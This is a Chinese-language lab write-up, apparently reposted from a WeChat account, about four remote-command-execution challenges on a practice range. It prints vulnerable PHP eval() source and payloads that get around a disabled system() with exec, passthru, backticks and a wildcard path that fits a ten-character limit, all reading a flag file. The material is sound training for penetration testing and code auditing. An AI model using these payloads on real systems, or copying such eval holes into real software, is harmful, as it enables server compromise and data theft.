文章总结: 文章介绍了六边形攻防靶场中四道RCE基础题的绕过方法,包括使用exec配合var_dump、passthru直接输出、反引号执行以及通配符压缩路径绕过长度限制,强调源码分析和过滤点识别的重要性。 综合评分: 80 文章分类: 渗透测试,红队,WEB安全,安全工具,实战经验
禁了 system 就安全?六边形靶场 RCE 上篇:从 exec 打到反引号
原创
网安布道师 网安布道师
六边形攻防安全
2026年7月12日 20:26 河北
在小说阅读器读本章
去阅读
❝
六边形攻防靶场 Web → Rce 系列 · 共三篇 上篇:4 道命令执行函数基础题,把“能执行”这件事先跑通。
❞
远程命令执行(Remote Code Execution,RCE)最危险的地方,不只是“能执行一条命令”,而是攻击者可能借此读取敏感文件、控制业务进程,甚至把 Web 漏洞扩展为主机失陷。
这套系列来自我们自己六边形攻防靶场。进入 「题库 → Web → Rce」,按题名搜索即可找到对应题目。本文只讨论靶场中的合法练习,请勿把 Payload 用于未授权目标。
系列导读
| 篇目 | 覆盖题目 | 主线 |
| — | — | — |
| 上(本文) | rce-cmdfunction1 ~ rce-cmdfunction4 | 执行入口:函数与反引号 |
| 中 | disable_functions / 分隔符 / 空格 | 从“能执行”到“能拼语法” |
| 下 | 敏感词 / 无回显 / 斜线 / 长度限制 | 更刁钻的过滤与最短命令 |
本系列共 「13 道题」。建议按顺序刷。
「每题阅读顺序(后文统一)」:源码/环境 → 过滤点 → 绕过思路 → Payload → 结果 → 小结。
开打之前:RCE 基础速查
这里的 RCE 主要指 「Web 里触发的操作系统命令执行」(本篇重点)。
另有一类是 PHP 「代码执行」(如 eval),中篇 disable_functions 题会碰到「不跑 shell、只读文件」的思路。
PHP 常见外部命令接口
| 方式 | 是否自动输出 | 返回值特点 |
| — | — | — |
| system($cmd) | 是,直接打印命令输出 | 返回输出的「最后一行」 |
| exec($cmd) | 否 | 默认只返回最后一行;第 2 个参数 $output 可收「逐行数组」(常用 var_dump / print_r 打印) |
| shell_exec($cmd) | 否 | 返回「完整」输出字符串;应用不 echo 就等于无回显 |
| passthru($cmd) | 是,原样输出(含二进制) | 一般不靠返回值拿文本 |
| 反引号 `$cmd` | 否 | 语义接近 shell_exec() |
❝
在 Linux 上,上述接口多数会经 shell 解析,所以后面的分隔符、空格、通配符过滤才有意义。
❞
命令连接 / 调度(过滤常 ban 这些)
| 符号 | 含义 |
| — | — |
| ; | 顺序执行,前后都跑 |
| && | 前一条「成功」才执行后一条 |
| || | 前一条「失败」才执行后一条 |
| | | 管道:前一条 stdout → 后一条 stdin |
| & | 后台执行(过滤里也常当连接符处理) |
| 换行(%0a 等) | 有时可当「下一条命令」的结束/分隔 |
Shell 通配(glob)
*:当前路径分段内,匹配任意长度(含空),「通常不跨/」?:匹配「恰好一个」字符[a-z]/[0-9]:匹配范围内「一个」字符
中下篇还会用到:>name 创建空文件;目录里单独执行 * 时,「字典序第一个文件名会当命令、其余当参数」。
「先分清:函数有没有把结果打到页面上,以及返回值是「一行」还是「整段」。」 很多「命令跑了但页面空白」的坑,都出在这里。
第一题:rce-cmdfunction1
「平台路径」:题库 → Web → Rce → rce-cmdfunction1
「难度」:easy · 分值 31
源码 / 环境分析
打开题目后,首页大致是:
<?phpif (isset($_GET['code'])) { $code = $_GET['code']; eval($code);} else { highlight_file(__FILE__);}?>
要点:
- 用户输入经
eval()「直接当 PHP 代码执行」(代码执行入口) - 同目录常有
phpinfo.php,可看disable_functions - 实机上
system在禁用列表里,但 「exec仍可用」
过滤点
| 点 | 说明 |
| — | — |
| disable_functions | 禁了 system(),未封死全部命令执行 |
| exec 的返回值 | 默认只返回输出「最后一行」,不自动打印整段 |
exec 的函数原型大致是:
exec(string $command, array &$output = null, int &$result_code = null): string|false|null
- 不传第 2 个参数:只拿到最后一行字符串
- 传入
$output:每一行进数组,再用var_dump/print_r打出
绕过思路
- 不用被 ban 的
system,改用exec - 用第二参数接完整输出,再
var_dump打印 - 先
ls/ls /定位,再cat /flag或cat /fl*
Payload
?code=exec('ls',$output);var_dump($output);?code=exec('cat /flag',$o);var_dump($o);
结果 
rce-cmdfunction1 运行结果
图:地址栏 URL 含 exec + var_dump Payload,页面数组回显 Flag。
本题小结
看到某个危险函数被禁用时,不要立刻下结论。应同时检查:同类函数、返回值是否被输出、函数是否有额外输出参数。
第二题:rce-cmdfunction2
「平台路径」:题库 → Web → Rce → rce-cmdfunction2
「难度」:easy · 分值 32
源码 / 环境分析
入口形态与第一题同类,仍是把用户输入送进代码执行:
<?phpif (isset($_GET['code'])) { $code = $_GET['code']; eval($code);} else { highlight_file(__FILE__);}?>
环境继续收紧可用的命令执行函数,但 「passthru() 仍可用」。
过滤点
| 点 | 说明 |
| — | — |
| 函数黑名单(部分) | 常见 system 等不可用 |
| 漏项 | passthru 仍在 |
passthru 与 exec 的差异:
| 函数 | 行为 |
| — | — |
| exec | 偏返回值;完整输出靠第 2 参数 |
| passthru | 「直接」 把命令原始输出打进响应 |
绕过思路
全程用 passthru:确认执行 → 枚举 → 读 Flag。
Payload
?code=passthru('ls');?code=passthru('ls /');?code=passthru('cat /flag');?code=passthru('cat /fl*');
结果
rce-cmdfunction2 运行结果
图:地址栏 URL 含 passthru('cat /flag'),页面直接回显 Flag。
本题小结
仅按函数名做黑名单很难覆盖全部执行接口。不要假设“禁掉 system 就安全了”。
第三题:rce-cmdfunction3
「平台路径」:题库 → Web → Rce → rce-cmdfunction3
「难度」:easy · 分值 33
源码 / 环境分析
入口仍是:
<?phpif (isset($_GET['code'])) { eval($_GET['code']);} else { highlight_file(__FILE__);}?>
前两题对抗的是「换哪个函数」;本题要意识到 PHP 还有「不以函数调用形式出现」的执行能力。
过滤点
| 点 | 说明 |
| — | — |
| 函数名层面 | 常见命令函数可被禁用/过滤 |
| 未覆盖 | 反引号执行运算符 `cmd` |
语义近似:
echo shell_exec('ls');// 与echo `ls`;
绕过思路
把命令放进反引号,外层 echo 把返回字符串打到页面。
Payload
?code=echo `ls`;?code=echo `ls /`;?code=echo `cat /flag`;?code=echo `cat /fl*`;
❝
反引号不是单引号。URL 中常编码为
%60。❞
结果
rce-cmdfunction3
运行结果
图:地址栏 URL 含 echo \cat /flag“,页面回显 Flag。
本题小结
代码审计不能只搜 system、exec。反引号、危险回调、动态包含等也要进检查清单。
第四题:rce-cmdfunction4
「平台路径」:题库 → Web → Rce → rce-cmdfunction4
「难度」:easy · 分值 34
源码 / 环境分析
本题在 eval 前加了形态校验,核心逻辑接近:
<?phpif (isset($_GET['code'])) { $code = $_GET['code']; // 只允许 echo(……); 且括号内很短 if (';' === preg_replace('/echo\(.{0,10}\)/', '', $code)) { echo 123; eval($code); } else { echo "NoNoNo!!!"; }} else { highlight_file(__FILE__);}?>
过滤点
从源码可直接读出:
- 整体必须能被
echo(.{0,10})匹配掉,最后只剩; - 即形态为:
echo(……);,且「括号内最多约 10 个字符」 - 校验通过会先
echo 123,再eval echo(\cat /flag);括号内过长 →NoNoNo!!!
绕过思路
- 外层满足
echo(...); - 括号内用反引号执行命令
- 路径用
/fl*压缩,卡进 10 字符限制
Payload
?code=echo(`cat /fl*`);
结果
页面常见回显:123 + Flag 内容。
rce-cmdfunction4 运行结果
图:地址栏 URL 含 echo(\cat /fl);,页面出现123 与 Flag。*
本题小结
长度限制不等于安全边界。Shell 通配会在执行前展开很短的输入。
上篇总结
四道题统一练的是:
- 「先看源码」:输入进了
eval还是system?有没有正则/长度? - 「再列过滤点」:禁了谁、漏了谁、返回值会不会显示?
- 「再写绕过」:换函数 / 换运算符 / 用通配压缩
| 题目 | 源码关键点 | 突破 |
| — | — | — |
| rce-cmdfunction1 | eval + disable_functions | exec 第二参数 + var_dump |
| rce-cmdfunction2 | eval + 函数黑名单 | passthru 直出 |
| rce-cmdfunction3 | eval + 函数黑名单 | 反引号 |
| rce-cmdfunction4 | echo(.{0,10}) 形态限制 | echo(\ cat /fl*); |
下一篇:disable_functions、分隔符、空格——继续先啃源码再绕。
去哪练?
靶场注册:公众号回复【靶场邀请码】获取邀请码即可进行注册
打开 https://hexlab.fun/ → 「题库 → Web → Rce」 建议:先独立做,再回看文章复盘。
关注 「六边形攻防安全」,中篇见:黑名单、分隔符与空格。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:六边形攻防安全 网安布道师 网安布道师《禁了 system 就安全?六边形靶场 RCE 上篇:从 exec 打到反引号》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论